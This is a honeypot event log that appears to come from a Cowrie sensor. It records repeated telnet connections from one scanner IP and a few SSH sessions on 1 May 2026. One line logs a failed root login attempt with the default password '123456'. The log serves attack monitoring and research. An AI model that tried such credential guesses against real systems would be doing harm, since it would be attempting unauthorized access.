{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33232,"dst_ip":"159.203.135.109","dst_port":23,"session":"13041e970d46","protocol":"telnet","message":"New connection: 51.161.172.108:33232 (159.203.135.109:23) [session: 13041e970d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:25.986091Z"}
{"eventid":"cowrie.session.closed","duration":31.38386297225952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:26.052883Z","src_ip":"51.161.172.108","session":"45687cac7aa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33240,"dst_ip":"159.203.135.109","dst_port":23,"session":"b86ffb984d71","protocol":"telnet","message":"New connection: 51.161.172.108:33240 (159.203.135.109:23) [session: b86ffb984d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:26.476283Z"}
{"eventid":"cowrie.session.closed","duration":30.93098258972168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:26.553378Z","src_ip":"51.161.172.108","session":"1edb6f15b976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33254,"dst_ip":"159.203.135.109","dst_port":23,"session":"76d59f7e10c4","protocol":"telnet","message":"New connection: 51.161.172.108:33254 (159.203.135.109:23) [session: 76d59f7e10c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:26.633737Z"}
{"eventid":"cowrie.session.closed","duration":31.792465448379517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:26.743909Z","src_ip":"51.161.172.108","session":"79c63ae96fa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316049814224243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:26.844653Z","src_ip":"51.161.172.108","session":"4c6eade9e5df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33268,"dst_ip":"159.203.135.109","dst_port":23,"session":"8470df6379e8","protocol":"telnet","message":"New connection: 51.161.172.108:33268 (159.203.135.109:23) [session: 8470df6379e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:26.858382Z"}
{"eventid":"cowrie.session.closed","duration":31.666515111923218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:26.995668Z","src_ip":"51.161.172.108","session":"c7a5f5946ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43355655670166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.014067Z","src_ip":"51.161.172.108","session":"88c3554149d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33270,"dst_ip":"159.203.135.109","dst_port":23,"session":"be895cbf5f0e","protocol":"telnet","message":"New connection: 51.161.172.108:33270 (159.203.135.109:23) [session: be895cbf5f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.041882Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.063450Z","src_ip":"160.251.101.169","session":"395ecfcba1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61635708808899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.244018Z","src_ip":"51.161.172.108","session":"46d0e1e48dd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33298,"dst_ip":"159.203.135.109","dst_port":23,"session":"41c4b07ebed3","protocol":"telnet","message":"New connection: 51.161.172.108:33298 (159.203.135.109:23) [session: 41c4b07ebed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.308207Z"}
{"eventid":"cowrie.session.closed","duration":30.617356061935425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.380758Z","src_ip":"51.161.172.108","session":"fd244ce9fc74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49274706840515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.532451Z","src_ip":"51.161.172.108","session":"a5211166e733","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33304,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc00d84b35da","protocol":"telnet","message":"New connection: 51.161.172.108:33304 (159.203.135.109:23) [session: dc00d84b35da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.575687Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33330,"dst_ip":"159.203.135.109","dst_port":23,"session":"253d1474ac4d","protocol":"telnet","message":"New connection: 51.161.172.108:33330 (159.203.135.109:23) [session: 253d1474ac4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:27.705180Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33340,"dst_ip":"159.203.135.109","dst_port":23,"session":"74395b4a5b33","protocol":"telnet","message":"New connection: 51.161.172.108:33340 (159.203.135.109:23) [session: 74395b4a5b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.023627Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33342,"dst_ip":"159.203.135.109","dst_port":23,"session":"9edba9a9795d","protocol":"telnet","message":"New connection: 51.161.172.108:33342 (159.203.135.109:23) [session: 9edba9a9795d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.128653Z"}
{"eventid":"cowrie.session.closed","duration":31.33083415031433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.293092Z","src_ip":"51.161.172.108","session":"e5fcb3543c52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090402126312256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.388022Z","src_ip":"51.161.172.108","session":"12bfae19f7a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33354,"dst_ip":"159.203.135.109","dst_port":23,"session":"d544335fd4de","protocol":"telnet","message":"New connection: 51.161.172.108:33354 (159.203.135.109:23) [session: d544335fd4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.430333Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33362,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea966a6129aa","protocol":"telnet","message":"New connection: 51.161.172.108:33362 (159.203.135.109:23) [session: ea966a6129aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.531881Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":33674,"dst_ip":"159.203.135.109","dst_port":23,"session":"c389c436509f","protocol":"telnet","message":"New connection: 167.99.38.72:33674 (159.203.135.109:23) [session: c389c436509f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.538858Z"}
{"eventid":"cowrie.session.closed","duration":30.870909929275513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.566897Z","src_ip":"51.161.172.108","session":"2df20ac2a421","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.595048189163208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.621907Z","src_ip":"51.161.172.108","session":"3a14eee205a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45236039161682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.654382Z","src_ip":"51.161.172.108","session":"73626f6187cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33376,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cdcf03ca91a","protocol":"telnet","message":"New connection: 51.161.172.108:33376 (159.203.135.109:23) [session: 6cdcf03ca91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:28.805522Z"}
{"eventid":"cowrie.session.closed","duration":31.534981727600098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:29.049098Z","src_ip":"51.161.172.108","session":"b77426a48777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33390,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5acbd38997b","protocol":"telnet","message":"New connection: 51.161.172.108:33390 (159.203.135.109:23) [session: c5acbd38997b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:29.102441Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43258,"dst_ip":"159.203.135.109","dst_port":23,"session":"791931099dd0","protocol":"telnet","message":"New connection: 51.161.172.108:43258 (159.203.135.109:23) [session: 791931099dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:29.238208Z"}
{"eventid":"cowrie.session.closed","duration":30.60487389564514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:29.268754Z","src_ip":"51.161.172.108","session":"bf1f2069fb1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43262,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2618e3b7699","protocol":"telnet","message":"New connection: 51.161.172.108:43262 (159.203.135.109:23) [session: d2618e3b7699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:29.325943Z"}
{"eventid":"cowrie.session.closed","duration":31.684216499328613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:29.611365Z","src_ip":"51.161.172.108","session":"e8eae14abd55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43276,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c4897bcceff","protocol":"telnet","message":"New connection: 51.161.172.108:43276 (159.203.135.109:23) [session: 6c4897bcceff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:29.684695Z"}
{"eventid":"cowrie.session.closed","duration":31.73935317993164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:29.791388Z","src_ip":"51.161.172.108","session":"4cbf5bd3fc4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43296,"dst_ip":"159.203.135.109","dst_port":23,"session":"52200580dd3a","protocol":"telnet","message":"New connection: 51.161.172.108:43296 (159.203.135.109:23) [session: 52200580dd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:30.020869Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43308,"dst_ip":"159.203.135.109","dst_port":23,"session":"f12c29b79cd3","protocol":"telnet","message":"New connection: 51.161.172.108:43308 (159.203.135.109:23) [session: f12c29b79cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:30.178517Z"}
{"eventid":"cowrie.session.closed","duration":31.251492977142334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:30.217423Z","src_ip":"51.161.172.108","session":"6125e394e3ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43314,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae43b3bc1b5c","protocol":"telnet","message":"New connection: 51.161.172.108:43314 (159.203.135.109:23) [session: ae43b3bc1b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:30.256214Z"}
{"eventid":"cowrie.session.closed","duration":30.74166750907898,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:30.309717Z","src_ip":"51.161.172.108","session":"b8bda230894d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43324,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cadc46869c1","protocol":"telnet","message":"New connection: 51.161.172.108:43324 (159.203.135.109:23) [session: 5cadc46869c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:30.322038Z"}
{"eventid":"cowrie.session.closed","duration":31.387600898742676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:30.521326Z","src_ip":"51.161.172.108","session":"c2239d092126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43326,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb4d84e4570","protocol":"telnet","message":"New connection: 51.161.172.108:43326 (159.203.135.109:23) [session: fdb4d84e4570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:30.568281Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43328,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab7b2fddbe5","protocol":"telnet","message":"New connection: 51.161.172.108:43328 (159.203.135.109:23) [session: 6ab7b2fddbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.035624Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43330,"dst_ip":"159.203.135.109","dst_port":23,"session":"44343e9ee37a","protocol":"telnet","message":"New connection: 51.161.172.108:43330 (159.203.135.109:23) [session: 44343e9ee37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.060315Z"}
{"eventid":"cowrie.session.closed","duration":31.844291925430298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.134360Z","src_ip":"51.161.172.108","session":"53fec38d4981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30422878265381,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.207725Z","src_ip":"51.161.172.108","session":"bd0c6daec1fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.609777450561523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.213436Z","src_ip":"51.161.172.108","session":"3e8fd1083d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33962631225586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.280524Z","src_ip":"51.161.172.108","session":"3d57443ca8e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43342,"dst_ip":"159.203.135.109","dst_port":23,"session":"022e4ec34ec5","protocol":"telnet","message":"New connection: 51.161.172.108:43342 (159.203.135.109:23) [session: 022e4ec34ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.440102Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43344,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf606e3cf8e8","protocol":"telnet","message":"New connection: 51.161.172.108:43344 (159.203.135.109:23) [session: bf606e3cf8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.517312Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43360,"dst_ip":"159.203.135.109","dst_port":23,"session":"9048a01311b5","protocol":"telnet","message":"New connection: 51.161.172.108:43360 (159.203.135.109:23) [session: 9048a01311b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:31.941671Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43372,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3cb8697d496","protocol":"telnet","message":"New connection: 51.161.172.108:43372 (159.203.135.109:23) [session: e3cb8697d496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:32.243347Z"}
{"eventid":"cowrie.session.closed","duration":30.8517644405365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:32.261975Z","src_ip":"51.161.172.108","session":"2ddaee90028b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43374,"dst_ip":"159.203.135.109","dst_port":23,"session":"19162d023007","protocol":"telnet","message":"New connection: 51.161.172.108:43374 (159.203.135.109:23) [session: 19162d023007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:32.317243Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43386,"dst_ip":"159.203.135.109","dst_port":23,"session":"61e49de427b4","protocol":"telnet","message":"New connection: 51.161.172.108:43386 (159.203.135.109:23) [session: 61e49de427b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:32.775221Z"}
{"eventid":"cowrie.session.closed","duration":31.606483697891235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:32.821996Z","src_ip":"51.161.172.108","session":"e47b89b942ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.977126598358154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.018349Z","src_ip":"167.99.38.72","session":"92d7f7048602","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303430557250977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.218264Z","src_ip":"51.161.172.108","session":"8c1231d92592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43390,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc4e744c91c","protocol":"telnet","message":"New connection: 51.161.172.108:43390 (159.203.135.109:23) [session: abc4e744c91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.273677Z"}
{"eventid":"cowrie.session.closed","duration":30.78635573387146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.280576Z","src_ip":"51.161.172.108","session":"dee614a96a55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43396,"dst_ip":"159.203.135.109","dst_port":23,"session":"e08eefced830","protocol":"telnet","message":"New connection: 51.161.172.108:43396 (159.203.135.109:23) [session: e08eefced830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.293324Z"}
{"eventid":"cowrie.session.closed","duration":31.39561915397644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.328339Z","src_ip":"51.161.172.108","session":"58f655e4d6f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43410,"dst_ip":"159.203.135.109","dst_port":23,"session":"da0fcfcae0a6","protocol":"telnet","message":"New connection: 51.161.172.108:43410 (159.203.135.109:23) [session: da0fcfcae0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.696997Z"}
{"eventid":"cowrie.session.closed","duration":31.670212745666504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.861816Z","src_ip":"51.161.172.108","session":"59aad6e3ede2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43416,"dst_ip":"159.203.135.109","dst_port":23,"session":"a13a5e3e7ff1","protocol":"telnet","message":"New connection: 51.161.172.108:43416 (159.203.135.109:23) [session: a13a5e3e7ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:33.911974Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43420,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eaa02f45a5e","protocol":"telnet","message":"New connection: 51.161.172.108:43420 (159.203.135.109:23) [session: 8eaa02f45a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:34.005403Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43436,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae01077bf981","protocol":"telnet","message":"New connection: 51.161.172.108:43436 (159.203.135.109:23) [session: ae01077bf981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:34.081434Z"}
{"eventid":"cowrie.session.closed","duration":30.478633642196655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:34.194576Z","src_ip":"51.161.172.108","session":"4ecd79178832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43444,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dba495288e5","protocol":"telnet","message":"New connection: 51.161.172.108:43444 (159.203.135.109:23) [session: 0dba495288e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:34.428423Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43458,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9f12b169c7","protocol":"telnet","message":"New connection: 51.161.172.108:43458 (159.203.135.109:23) [session: fc9f12b169c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:34.433310Z"}
{"eventid":"cowrie.session.closed","duration":30.995413303375244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:34.440139Z","src_ip":"51.161.172.108","session":"d0fd8f48cf81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.127042293548584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:34.448040Z","src_ip":"51.161.172.108","session":"81a7b1693a51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43462,"dst_ip":"159.203.135.109","dst_port":23,"session":"7831b21496de","protocol":"telnet","message":"New connection: 51.161.172.108:43462 (159.203.135.109:23) [session: 7831b21496de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:34.819629Z"}
{"eventid":"cowrie.session.closed","duration":32.137247800827026,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:35.050472Z","src_ip":"51.161.172.108","session":"66f85e6106fc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:35.065952Z","src_ip":"122.168.114.167","session":"117bf81a0db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.708704233169556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:35.204782Z","src_ip":"51.161.172.108","session":"b04bad309a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43470,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f44e223d38c","protocol":"telnet","message":"New connection: 51.161.172.108:43470 (159.203.135.109:23) [session: 9f44e223d38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:35.604472Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43484,"dst_ip":"159.203.135.109","dst_port":23,"session":"3616a7f71745","protocol":"telnet","message":"New connection: 51.161.172.108:43484 (159.203.135.109:23) [session: 3616a7f71745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:35.620932Z"}
